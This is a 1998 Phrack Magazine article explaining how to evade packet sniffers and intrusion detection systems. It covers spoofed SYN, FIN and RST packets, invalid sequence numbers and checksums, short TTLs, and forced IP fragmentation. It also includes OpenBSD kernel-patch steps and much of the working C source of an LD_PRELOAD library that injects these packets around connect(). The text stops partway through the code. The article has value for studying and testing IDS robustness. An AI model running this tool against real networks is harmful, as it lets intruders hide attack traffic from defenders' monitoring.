Questions and comments can be sent to fyodor@DHP.com (if that doesn't work for some reason, use fyodor@insecure.org). Nmap can be obtained from <http://www.insecure.org/nmap>.

----[EOF

---[Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12

-----[Defeating Sniffers and Intrusion Detection Systems

-----[horizon <jmcdonal@unf.edu>

----[Overview

The purpose of this article is to demonstrate some techniques that can be used to defeat sniffers and intrusion detection systems. This article focuses mainly on confusing your average "hacker" sniffer, with some rough coverage of Intrusion Detection Systems (IDS). However, the methods and code present in this article should be a good starting point for getting your packets past ID systems. For an intense examination of attack techniques against IDS, check out: <http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp>.

There are a large number of effective techniques other than those that are implemented in this article. I have chosen a few generic techniques that hopefully can be easily expanded into more targeted and complex attacks. After implementing these attacks, I have gone through and attempted to correlate them to the attacks described in the NAI paper, where appropriate.

The root cause of the flaws discussed in this article is that most sniffers and intrusion detection systems do not have as robust of a TCP/IP implementation as the machines that are actually communicating on the network. Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI, or SOCK_PACKET. The sniffer receives the entire datalink level frame, and gets no contextual clues from the kernel as to how that frame will be interpreted. Thus, the sniffer has the job of interpreting the entire packet and guessing how the kernel of the receiving machine is going to process it. Luckily, 95% of the time, the packet is going to be sane, and the kernel TCP/IP stack is going to behave rather predictably. It is the other 5% of the time that we will be focusing on.

This article is divided into three sections: an overview of the techniques employed, a description of the implementation and usage, and the code. Where possible, the code has been implemented in a somewhat portable format: a shared library that wraps around connect(), which you can use LD_PRELOAD to "install" into your normal client programs. This shared library uses raw sockets to create TCP packets, which should work on most unices. However, some of the attacks described are too complex to implement with raw sockets, so simple OpenBSD kernel patches are supplied. I am working on complementary kernel patches for Linux, which will be placed on the rhino9 web site when they are complete. The rhino9 web site is at: <http://www.rhino9.ml.org/>

----[Section 1. The Tricks

The first set of tricks are solely designed to fool most sniffers, and will most likely have no effect on a decent ID system. The second set of tricks should be advanced enough to start to have an impact on the effectiveness of

an intrusion detection system.

Sniffer Specific Attacks

1. Sniffer Design - One Host Design

The first technique is extremely simple, and takes advantage of the design of many sniffers. Several hacker sniffers are designed to follow one connection, and ignore everything else until that connection is closed or reaches some internal time out. Sniffers designed in this fashion have a very low profile, as far as memory usage and CPU time. However, they obviously miss a great deal of the data that can be obtained. This gives us an easy way of preventing our packets from being captured: before our connection, we send a spoofed SYN packet from a non-existent host to the same port that we are attempting to connect to. Thus, the sniffer sees the SYN packet, and if it is listening, it will set up its internal state to monitor all packets related to that connection. Then, when we make our connection, the sniffer ignores our SYN because it is watching the fake host. When the host later times out, our connection will not be logged because our initial SYN packet has long been sent.

2. Sniffer Design - IP options

The next technique depends on uninformed coding practices within sniffers. If you look at the code for some of the hacker sniffers, namely ones based-off of the original linsniffer, you will see that they have a structure that looks like this:

```
struct etherpacket
{
    etherheader eh;
    ipheader ip;
    tcpheader tcp;
    char data[8192];
};
```

The sniffer will read a packet off of the datalink interface, and then slam it into that structure so it can analyze it easily. This should work fine most of the time. However, this approach makes a lot of assumptions: it assumes that the size of the IP header is 20 bytes, and it also assumes that the size of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of options, then the sniffer is going to look inside your IP options for the TCP header, and completely misinterpret your packet. If the sniffer handles your IP header correctly, but incorrectly handles the TCP header, that doesn't buy you quite as much. In that situation, you get an extra 40 bytes of data that the sniffer will log. I have implemented mandatory IP options in the OpenBSD kernel such that it is manageable by a sysctl.

3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers

This technique takes advantage of the fact that your typical sniffer is not going to keep track of the specific details of the ongoing connection. In a TCP connection, sequence numbers are used as a control mechanism for determining how much data has been sent, and the correct order for the data that has been sent. Most sniffers do not keep track of the sequence numbers in an ongoing TCP connection. This allows us to insert packets into the data stream that the kernel will disregard, but the sniffer will interpret as valid. The first technique we will use based on this is spoofing FIN and RST packets. FIN and RST are control flags inside the TCP packets, a FIN indicating the initiation of a shutdown sequence for one side of a connection, and an RST

indicating that a connection should be immediately torn down. If we send a packet with a FIN or RST, with a sequence number that is far off of the current sequence number expected by the kernel, then the kernel will disregard it. However, the sniffer will likely regard this as a legitimate connection close request or connection reset, and cease logging.

It is interesting to note that certain implementations of TCP stacks do not check the sequence numbers properly upon receipt of an RST. This obviously provides a large potential for a denial of service attack. Specifically, I have noticed that Digital Unix 4.0d will tear down connections without checking the sequence numbers on RST packets.

4. Insertion - Data Spoofing - Invalid Sequence Numbers

This technique is a variation of the previous technique, which takes advantage of the fact that a typical sniffer will not follow the sequence numbers of a TCP connection. A lot of sniffers have a certain data capture length, such that they will stop logging a connection after that amount of data has been captured. If we send a large amount of data after the connection initiation, with completely wrong sequence numbers, our packets will be dropped by the kernel. However, the sniffer will potentially log all of that data as valid information. This is roughly an implementation of the "tcp-7" attack mentioned in the NAI paper.

IDS / Sniffer Attacks:

The above techniques work suprisingly well for most sniffers, but they are not going to have much of an impact on most IDS. The next six techniques are a bit more complicated, but represent good starting points for getting past the more complex network monitors.

5. Evasion - IP Fragmentation

IP fragmentation allows packets to be split over multiple datagrams in order to fit packets within the maximum transmission unit of the physical network interface. Typically, TCP is aware of the mtu, and doesn't send packets that need to be fragmented at an IP level. We can use this to our advantage to try to confuse sniffers and IDS. There are several potential attacks involving fragmentation, but we will only cover a simple one. We can send a TCP packet split over several IP datagrams such that the first 8 bytes of the TCP header are in a single packet, and the rest of the data is sent in 32 byte packets. This actually buys us a lot in our ability to fool a network analysis tool. First of all, the sniffer/IDS will have to be capable of doing fragment reassembly. Second of all, it will have to be capable of dealing with fragmented TCP headers. It turns out that this simple technique is more than sufficient to get your packets past most datalink level network monitors. This an another attack that I chose to implement as a sysctl in the OpenBSD kernel.

This technique is very powerful in it's ability to get past most sniffers completely. However, it requires some experimentation because you have to make sure that your packets will get past all of the filters between you and the target. Certain packet filters wisely drop fragmented packets that look like they are going to rewrite the UDP/TCP header, or that look like they are unduly small. The implementation in this article provides a decent deal of control over the size of the fragments that your machine will output. This will allow you to implement the "frag-1" and "frag-2" attacks described in the NAI paper.

6. Desynchronization - Post Connection SYN

If we are attempting to fool an intelligent sniffer, or an IDS system, then we can be pretty certain that it will keep track of the TCP sequence numbers. For this technique, we will attempt to desynchronize the sniffer/IDS from the actual sequence numbers that the kernel is honoring. We will implement this attack by sending a post connection SYN packet in our data stream, which will have divergent sequence numbers, but otherwise meet all of the necessary criteria to be accepted by our target host. However, the target host will ignore this SYN packet, because it references an already established connection. The intent of this attack is to get the sniffer/IDS to resynchronize its notion of the sequence numbers to the new SYN packet. It will then ignore any data that is a legitimate part of the original stream, because it will be awaiting a different sequence number. If we succeed in resynchronizing the IDS with a SYN packet, we can then send an RST packet with the new sequence number and close down its notion of the connection. This roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper.

7. Desynchronization - Pre Connection SYN

Another attack we perform which is along this theme is to send an initial SYN before the real connection, with an invalid TCP checksum. If the sniffer is smart enough to ignore subsequent SYNs in a connection, but not smart enough to check the TCP checksum, then this attack will synchronize the sniffer/IDS to a bogus sequence number before the real connection occurs. This attack calls bind to get the kernel to assign a local port to the socket before calling connect.

8. Insertion - FIN and RST Spoofing - TCP checksum validation

This technique is a variation of the FIN/RST spoofing technique mentioned above. However, this time we will attempt to send FIN and RST packets that should legitimately close the connection, with one notable exception: the TCP checksum will be invalid. These packets will be immediately dropped by the kernel, but potentially honored by the IDS/sniffer. This attack requires kernel support in order to determine the correct sequence numbers to use on the packet. This is similar to the "insert-2" attack in the NAI paper.

9. Insertion - Invalid Data - TCP checksum validation

This technique is a variation of the previous data insertion attack, with the exception that we will be inserting data with the correct sequence numbers, but incorrect TCP checksums. This will serve to confuse and desynchronize sniffers and IDS by feeding it a lot of data that will not be honored by the participating kernels. This attack requires kernel support to get the correct sequence numbers for the outgoing packets. This attack is also similar to the "insert-2" attack described in the NAI paper.

10. Insertion - FIN and RST Spoofing - Short TTL

If the IDS or sniffer is sitting on the network such that it is one or more hops away from the host it is monitoring, then we can do a simple attack, utilizing the TTL field of the IP packet. For this attack, we determine the lowest TTL that can be used to reach the target host, and then subtract one. This allows us to send packets that will not reach the target host, but that have the potential of reaching the IDS or sniffer. In this attack, we send a couple of FIN packets, and a couple of RST packets.

11. Insertion - Data Spoofing - Short TTL

For our final attack, we will send 8k of data with the correct sequence numbers and TCP checksums. However, the TTL will be one hop too short to reach our target host.

Summary

All of these attacks work in concert to confuse sniffers and IDS. Here is a breakdown of the order in which we perform them:

Attack 1 - One Host Sniffer Design.

FAKEHOST -> TARGET SYN

Attack 7 - Pre-connect Desynchronization Attempt.

REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number)

Kernel Activity

REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel)

Attack 6 - Post-connect Desynchronization Attempt.

REALHOST -> TARGET SYN (Arbitrary Seq Number X)

REALHOST -> TARGET SYN (Seq Number X+1)

Attack 4 - Data Spoofing - Invalid Sequence Numbers

REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)

Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers

REALHOST -> TARGET FIN (Seq Number X+2+8192)

REALHOST -> TARGET FIN (Seq Number X+3+8192)

REALHOST -> TARGET RST (Seq Number X+4+8192)

REALHOST -> TARGET RST (Seq Number X+5+8192)

Attack 11 - Data Spoofing - TTL

* REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y)

Attack 10 - FIN/RST Spoofing - TTL

* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192)

* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192)

* REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192)

* REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192)

Attack 9 - Data Spoofing - Checksum

* REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z)

Attack 8 - FIN/RST Spoofing - Checksum

* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)

* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)

* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)

* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)

The attacks with an asterisk require kernel support to determine the correct sequence numbers. Arguably, this could be done without kernel support, utilizing a datalink level sniffer, but it would make the code significantly more complex, because it would have to reassemble fragments, and do several validation checks in order to follow the real connection. The user can choose which of these attacks he/she would like to perform, and the sequence numbers will adjust themselves accordingly.

----[Section 2 - Implementation and Usage

My primary goal when implementing these techniques was to keep the changes necessary to normal system usage as slight as possible. I had to divide the techniques into two categories: attacks that can be performed from user context, and attacks that have to be augmented by the kernel in some fashion. My secondary goal was to make the userland set of attacks reasonably portable to other Unix environments, besides OpenBSD and Linux.

The userland attacks are implemented using shared library redirection, an

extremely useful technique borrowed from halflife's P51-08 article. The first program listed below, `congestant.c`, is a shared library that the user requests the loader to link first. This is done with the `LD_PRELOAD` environment variable on several unices. For more information about this technique, refer to the original article by halflife.

The shared library defines the `connect` symbol, thus pre-empting the normal `connect` function from `libc` (or `libsocket`) during the loading phase of program execution. Thus, you should be able to use these techniques with most any client program that utilizes normal BSD socket functionality. OpenBSD does not let us do shared library redirection (when you attempt to `dlsym` the old symbol out of `libc`, it gives you a pointer to the function you had pre-loaded). However, this is not a problem because we can just call the `connect()` syscall directly.

This shared library has some definite drawbacks, but you get what you pay for. It will not work correctly with programs that do non-blocking connect calls, or RAW or datalink level access. Furthermore, it is designed for use on TCP sockets, and without kernel support to determine the type of a socket, it will attempt the TCP attacks on UDP connections. This support is currently only implemented under OpenBSD. However, this isn't that big of a drawback because it just sends a few packets that get ignored. Another drawback to the shared library is that it picks a sequence number out of the blue to represent the "wrong" sequence number. Due to this fact, there is a very small possibility that the shared library will pick a legitimate sequence number, and not desynchronize the stream. This, however, is extremely unlikely.

A Makefile accompanies the shared library. Edit it to fit your host, and then go into the source file and make it point to your copy of `libc.so`, and you should be ready to go. The code has been tested on OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6. You can use the library like this:

```
# export LD_PRELOAD=./congestion.so
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
# telnet www.blah.com
```

The library will "wrap" around any connects in the programs you run from that point on, and provide you some protection behind the scenes. You can control the program by defining the `CONGCONF` environment variable. You give it a comma delimited list of attacks, which break out like this:

```
DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs kernel support)
FC: Spoof FIN packets with bad TCP checksums. (needs kernel support)
RC: Spoof RST packets with bad TCP checksums. (needs kernel support)
DT: Insert 8k of data with short TTLs. (needs kernel support)
FT: Spoof FIN packets with short TTLs. (needs kernel support)
RT: Spoof RST packets with short TTLs. (needs kernel support)
```

Kernel Support

OpenBSD kernel patches are provided to facilitate several of the techniques described above. These patches have been made against the 2.4 source distribution. I have added three `sysctl` variables to the kernel, and one new system call. The three `sysctl` variables are:

```
net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack  (integer)
```

The new system call is `getsockinfo()`, and it is system call number 242.

The three `sysctl`'s can be used to modify the characteristics of every outgoing IP packet coming from the machine. The `fraghackhead` variable specifies a new `mtu`, in bytes, for outgoing IP datagrams. `fraghackhead` is applied to every outgoing datagram, unless `fraghackbody` is also defined. In that case, the `mtu` for the first fragment of a packet is read from `fraghackhead`, and the `mtu` for every consecutive fragment is read from `fraghackbody`. This allows you to force your machine into fragmenting all of its traffic, to any size that you specify. The reason it is divided into two variables is so that you can have the first fragment contain the entire TCP/UDP header, and have the following fragments be 8 or 16 bytes. This way, you can get your fragmented packets past certain filtering routers that block any sort of potential header rewriting. The `optionshack` `sysctl` allows you to turn on mandatory 40 bytes of NULL IP options on every outgoing packet.

I implemented these controls such that they do not have any effect on packets sent through raw sockets. The implication of this is that our attacking packets will not be fragmented or contain IP options.

Using these `sysctl`'s is pretty simple: for the `fraghack` variables, you specify a number of bytes (or 0 to turn them off), and for the `optionshack`, you either set it to 0 or 1. Here is an example use:

```
# sysctl -w net.inet.ip.optionshack=1      # 40 bytes added to header
# sysctl -w net.inet.ip.fraghackhead=80    # 20 + 40 + 20 = full protocol header
# sysctl -w net.inet.ip.fraghackbody=68    # 20 + 40 + 8 = smallest possible frag
```

It is very important to note that you should be careful with the `fraghack` options. When you specify extreme fragmentation, you quickly eat up the memory that the kernel has available for storing packet headers. If memory usage is too high, you will notice `sendto()` returning a no buffer space error. If you stick to programs like `telnet` or `ssh`, that use small packets, then you should be fine with 28 or 28/36. However, if you use programs that use large packets like `ftp` or `rcp`, then you should bump `fraghackbody` up to a higher number, such as 200.

The system call, `getsockinfo`, is needed by the userland program to determine if a socket is a TCP socket, and to query the kernel for the next sequence number that it expects to send on the next outgoing packet, as well as the next sequence number it expects to receive from it's peer. This allows the userland program to implement attacks based on having a correct sequence number, but some other flaw in the packet such as a short TTL or bad TCP checksum.

Kernel Patch Installation

Here are the steps I use to install the kernel patches.

Disclaimer: I am not an experienced kernel programmer, so don't be too upset if your box gets a little flaky. The testing I've done on my own machines has gone well, but be aware that you really are screwing with critical stuff by installing these patches. You may suffer performance hits, or other such unpleasentries. But hey, you can't have any fun if you don't take any risks. :>

Step 1. Apply the `netinet.patch` to `/usr/src/sys/netinet/`


```
Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h
Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it
Step 4. Apply kern.patch to /usr/src/sys/kern/
Step 5. cd /usr/src/sys/kern; make
Step 6. Apply sys.patch to /usr/src/sys/sys/
Step 7. cd into your kernel build directory
        (/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make.
Step 8. cp bsd /bsd, reboot, and cross your fingers. :>
```

```
----[ The Code
<+> congestant/Makefile
# OpenBSD
LDPRE=-Bshareable
LDPOST=
OPTS=-DKERNELSUPPORT

# Linux
#LDPRE=-Bshareable
#LDPOST=-ldl
#OPTS=

# Solaris
#LDPRE=-G
#LDPOST=-ldl
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42

congestant.so: congestant.o
        ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}

congestant.o: congestant.c
        gcc ${OPTS} -fPIC -c congestant.c

clean:
        rm -f congestant.o congestant.so

<-->
<+> congestant/congestant.c
/*
 * congestant.c - demonstration of sniffer/ID defeating techniques
 *
 * by horizon <jmcdonal@unf.edu>
 * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
 *
 * openbsd doesn't let us do shared lib redirection, so we implement the
 * connect system call directly. Also, the kernel support for certain attacks
 * is only implemented in openbsd. When I finish the linux support, it will
 * be available at http://www.rhino9.ml.org
 *
 * This whole thing is a conditionally compiling nightmare. :>
 * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
 * Solaris 2.6, Debian Linux, and the glibc Debian Linux
 */

/* The path to our libc. (libsocket under Solaris) */
/* You don't need this if you are running OpenBSD */
/* #define LIB_PATH "/usr/lib/libsocket.so" */
#define LIB_PATH "/lib/libc-2.0.7.so"
/* #define LIB_PATH "/usr/lib/libc.so" */

/* The source of our initial spoofed SYN in the One Host Design attack */
/* This has to be some host that will survive any outbound packet filters */
#define FAKEHOST "42.42.42.42"
```

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#ifdef __linux__
#include <endian.h>
#endif
#include <errno.h>

struct cong_config
{
    int one_host_attack;
    int fin_seq;
    int rst_seq;
    int syn_seq;
    int data_seq;
    int data_chk;
    int fin_chk;
    int rst_chk;
    int syn_chk;
    int data_ttl;
    int fin_ttl;
    int rst_ttl;
    int ttl;
} cong_config;

int cong_init=0;
int cong_debug=0;
long cong_ttl_cache=0;
int cong_ttl=0;

/* If this is not openbsd, then we will use the connect symbol from libc */
/* otherwise, we will use syscall(SYS_connect, ...) */

#ifdef __OpenBSD__

#if __GLIBC__ == 2
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
#else
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
#endif
#endif /* not openbsd */

#define DEBUG(x) if (cong_debug==1) fprintf(stderr, (x));

/* define our own headers so its easier to port. use cong_ to avoid any
 * potential symbol name collisions */

struct cong_ip_header
{
    unsigned char ip_hl:4, /* header length */
                 ip_v:4; /* version */

```

```

        unsigned char  ip_tos;           /* type of service */
        unsigned short ip_len;           /* total length */
        unsigned short ip_id;            /* identification */
        unsigned short ip_off;           /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        unsigned char  ip_ttl;           /* time to live */
        unsigned char  ip_p;             /* protocol */
        unsigned short ip_sum;           /* checksum */
        unsigned long  ip_src, ip_dst;   /* source and dest address */
};

struct cong_icmp_header /* this is really an echo */
{
    unsigned char icmp_type;
    unsigned char icmp_code;
    unsigned short icmp_checksum;
    unsigned short icmp_id;
    unsigned short icmp_seq;
    unsigned long icmp_timestamp;
};

struct cong_tcp_header
{
    unsigned short  th_sport;             /* source port */
    unsigned short  th_dport;             /* destination port */
    unsigned int    th_seq;               /* sequence number */
    unsigned int    th_ack;               /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
    unsigned char   th_x2:4,              /* (unused) */
        th_off:4;      /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
    unsigned char   th_off:4,             /* data offset */
        th_x2:4;      /* (unused) */
#endif
    unsigned char   th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
    unsigned short  th_win;               /* window */
    unsigned short  th_sum;               /* checksum */
    unsigned short  th_urp;               /* urgent pointer */
};

struct cong_pseudo_header
{
    unsigned long saddr, daddr;
    char mbz;
    char ptcl;
    unsigned short tcpl;
};

int cong_checksum(unsigned short* data, int length)
{
    register int nleft=length;
    register unsigned short *w = data;
    register int sum=0;

```

```

    unsigned short answer=0;

    while (nleft>1)
    {
        sum+=*w++;
        nleft-=2;
    }

    if (nleft==1)
    {
        *(unsigned char *)(&answer) = *(unsigned char *)w;
        sum+=answer;
    }

    sum=(sum>>16) + (sum & 0xffff);
    sum +=(sum>>16);
    answer=~sum;

    return answer;
}

#define PHLEN (sizeof (struct cong_pseudo_header))
#define IHLEN (sizeof (struct cong_ip_header))
#define ICMPLEN (sizeof (struct cong_icmp_header))
#define THLEN (sizeof (struct cong_tcp_header))

/* Utility routine for the ttl attack. Sends an icmp echo */
void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
{
    struct sockaddr_in sa;
    int sock, packet_len;
    char *pkt;
    struct cong_ip_header *ip;
    struct cong_icmp_header *icmp;

    int on=1;

    if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("socket");
        exit(1);
    }

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
    {
        perror("setsockopt: IP_HDRINCL");
        exit(1);
    }

    bzero(&sa, sizeof(struct sockaddr_in));
    sa.sin_addr.s_addr = dest;
    sa.sin_family = AF_INET;

    pkt=calloc((size_t)1, (size_t) (IHLEN+ICMPLEN));

    ip=(struct cong_ip_header *)pkt;
    icmp=(struct cong_icmp_header *) (pkt+IHLEN);

    ip->ip_v = 4;
    ip->ip_hl = IHLEN >>2;
    ip->ip_tos = 0;
    ip->ip_len = htons (IHLEN+ICMPLEN);

```

```

        ip->ip_id = htons(getpid() & 0xFFFF);
        ip->ip_off = 0;
        ip->ip_ttl = ttl;
        ip->ip_p = IPPROTO_ICMP ;//ICMP
        ip->ip_sum = 0;
        ip->ip_src = source;
        ip->ip_dst = dest;
        icmp->icmp_type=8;
        icmp->icmp_seq=htons(seq);
        icmp->icmp_id=htons(id);
        icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);

        if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0
    )
    {
        perror("sendto");
    }

    free(pkt);
    close(sock);
}

/* Our main worker routine. sends a TCP packet */
void cong_send_tcp(long source, long dest,short int sport, short int dport,
                    long seq, long ack, int flags, char *data, int dlen,
                    int cksum, int ttl)
{
    struct sockaddr_in sa;
    int sock,packet_len;
    char *pkt,*phtcp;
    struct cong_pseudo_header *ph;
    struct cong_ip_header *ip;
    struct cong_tcp_header *tcp;

    int on=1;

    if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("socket");
        exit(1);
    }

    if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
    {
        perror("setsockopt: IP_HDRINCL");
        exit(1);
    }

    bzero(&sa,sizeof(struct sockaddr_in));
    sa.sin_addr.s_addr = dest;
    sa.sin_family = AF_INET;
    sa.sin_port = dport;

    phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
    pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));

    ph=(struct cong_pseudo_header *)phtcp;
    tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN);
    ip=(struct cong_ip_header *)pkt;

    ph->saddr=source;
    ph->daddr=dest;

```

```

    ph->mbz=0;
    ph->ptcl=IPPROTO_TCP;
    ph->tcpl=htons(THLEN + dlen);

    tcp->th_sport=sport;
    tcp->th_dport=dport;
    tcp->th_seq=seq;
    tcp->th_ack=ack;
    tcp->th_off=THLEN/4;
    tcp->th_flags=flags;
    if (ack) tcp->th_flags|=TH_ACK;
    tcp->th_win=htons(16384);
    memcpy(&(phtcp[PHLEN+THLEN]), data, dlen);
    tcp->th_sum=cong_checksum((unsigned short*)phtcp, PHLEN+THLEN+dlen)+cksum
;

    ip->ip_v = 4;
    ip->ip_hl = IHLEN >>2;
    ip->ip_tos = 0;
    ip->ip_len = htons(IHLEN+THLEN+dlen);
    ip->ip_id = htons(getpid() & 0xFFFF);
    ip->ip_off = 0;
    ip->ip_ttl = ttl;
    ip->ip_p = IPPROTO_TCP ;//TCP
    ip->ip_sum = 0;
    ip->ip_src = source;
    ip->ip_dst = dest;
    ip->ip_sum = cong_checksum((unsigned short*)ip, IHLEN);

    memcpy(((char *) (pkt))+IHLEN, (char *)tcp, THLEN+dlen);

    if(sendto(sock, pkt, IHLEN+THLEN+dlen, 0, (struct sockaddr*)&sa, sizeof(sa))
< 0)
    {
        perror("sendto");
    }

    free(phtcp);
    free(pkt);
    close(sock);
}

/* Utility routine for data insertion attacks */
void cong_send_data(long source, long dest, short int sport, short int dport,
                    long seq, long ack, int chk, int ttl)
{
    char data[1024];
    int i, j;

    for (i=0; i<8; i++)
    {
        for (j=0; j<1024; data[j++]=random());

        cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024),
                      htonl(ack), TH_PUSH, data, 1024, chk, ttl);
    }
}

/* Utility routine for the ttl attack - potentially unreliable */
/* This could be rewritten to look for the icmp ttl exceeded and count
* the number of packets it receives, thus going much quicker. */

```

```

int cong_find_ttl(long source, long dest)
{
    int sock;
    long timestamp;
    struct timeval tv, tvwait;
    int ttl=0, result=255;
    char buffer[8192];
    int bread;
    fd_set fds;
    struct cong_ip_header *ip;
    struct cong_icmp_header *icmp;

    if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
    {
        perror("socket");
        exit(1);
    }
    tvwait.tv_sec=0;
    tvwait.tv_usec=500;

    gettimeofday(&tv, NULL);
    timestamp=tv.tv_sec+3; // 3 second timeout

    DEBUG("Determining ttl...");

    while(tv.tv_sec<=timestamp)
    {
        gettimeofday(&tv, NULL);
        if (ttl<50)
        {
            cong_send_icmp(source, dest, ttl, 1, ttl);
            cong_send_icmp(source, dest, ttl, 1, ttl);
            cong_send_icmp(source, dest, ttl, 1, ttl++);
        }
        FD_ZERO(&fds);
        FD_SET(sock, &fds);
        select(sock+1, &fds, NULL, NULL, &tvwait);
        if (FD_ISSET(sock, &fds))
        {
            if (bread=read(sock, buffer, sizeof(buffer)))
            {
                /* should we practice what we preach?
                 * nah... too much effort :p */

                ip=(struct cong_ip_header *)buffer;
                if (ip->ip_src!=dest)
                    continue;
                icmp=(struct cong_icmp_header *) (buffer +
                    ((ip->ip_hl)<<2));
                if (icmp->icmp_type!=0)
                    continue;
                if (ntohs(icmp->icmp_seq)<result)
                    result=ntohs(icmp->icmp_seq);
            }
        }
    }
    if (cong_debug)
        fprintf(stderr, "%d\n", result);

    close(sock);
    return result;
}

```

```

/* This is our init routine - reads conf env var*/

/* On the glibc box I tested, you cant dlopen from within
 * _init, so there is a little hack here */

#if __GLIBC__ == 2
int cong_start(void)
#else
int _init(void)
#endif
{
    void *handle;
    char *conf;

#ifdef __OpenBSD__
    handle=dlopen(LIB_PATH,1);
    if (!handle)
    {
        fprintf(stderr,"Congestant Error: Can't load libc.\n");
        return 0;
    }
#endif

#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
    cong_connect = dlsym(handle, "connect");
#else
    cong_connect = dlsym(handle, "_connect");
#endif

    if (!cong_connect)
    {
        fprintf(stderr,"Congestant Error: Can't find connect().\n");
        return -1;
    }
#endif /* not openbsd */

    memset(&cong_config,0,sizeof(struct cong_config));

    if (conf=getenv("CONGCONF"))
    {
        char *token;
        token=strtok(conf, ",");
        while (token)
        {
            if (!strcmp(token,"OH"))
                cong_config.one_host_attack=1;
            else if (!strcmp(token,"FS"))
                cong_config.fin_seq=1;
            else if (!strcmp(token,"RS"))
                cong_config.rst_seq=1;
            else if (!strcmp(token,"SS"))
                cong_config.syn_seq=1;
            else if (!strcmp(token,"DS"))
                cong_config.data_seq=1;
            else if (!strcmp(token,"FC"))
                cong_config.fin_chk=1;
            else if (!strcmp(token,"RC"))
                cong_config.rst_chk=1;
            else if (!strcmp(token,"SC"))
                cong_config.syn_chk=1;
            else if (!strcmp(token,"DC"))
                cong_config.data_chk=1;
            else if (!strcmp(token,"FT"))
                ;
        }
    }
}

```



```

        cong_config.fin_ttl=1;
        cong_config.ttl=1;
    }
    else if (!strcmp(token, "RT"))
    {
        cong_config.rst_ttl=1;
        cong_config.ttl=1;
    }
    else if (!strcmp(token, "DT"))
    {
        cong_config.data_ttl=1;
        cong_config.ttl=1;
    }
    else if (!strcmp(token, "DEBUG"))
        cong_debug=1;

    token=strtok(NULL, ",");
}
}
else /* default to full sneakiness */
{
    cong_config.one_host_attack=1;
    cong_config.fin_seq=1;
    cong_config.rst_seq=1;
    cong_config.syn_seq=1;
    cong_config.data_seq=1;
    cong_config.syn_chk=1;
    cong_debug=1;
    /* assume they have kernel support */
    /* attacks are only compiled in under obsd*/
    cong_config.data_chk=1;
    cong_config.fin_chk=1;
    cong_config.rst_chk=1;
    cong_config.data_ttl=1;
    cong_config.fin_ttl=1;
    cong_config.rst_ttl=1;
    cong_config.ttl=1;
}

cong_init=1;
}

/* This is our definition of connect */
#ifdef __svr4__ && __sun__
int connect (int __fd, struct sockaddr * __addr, int __len)
#else
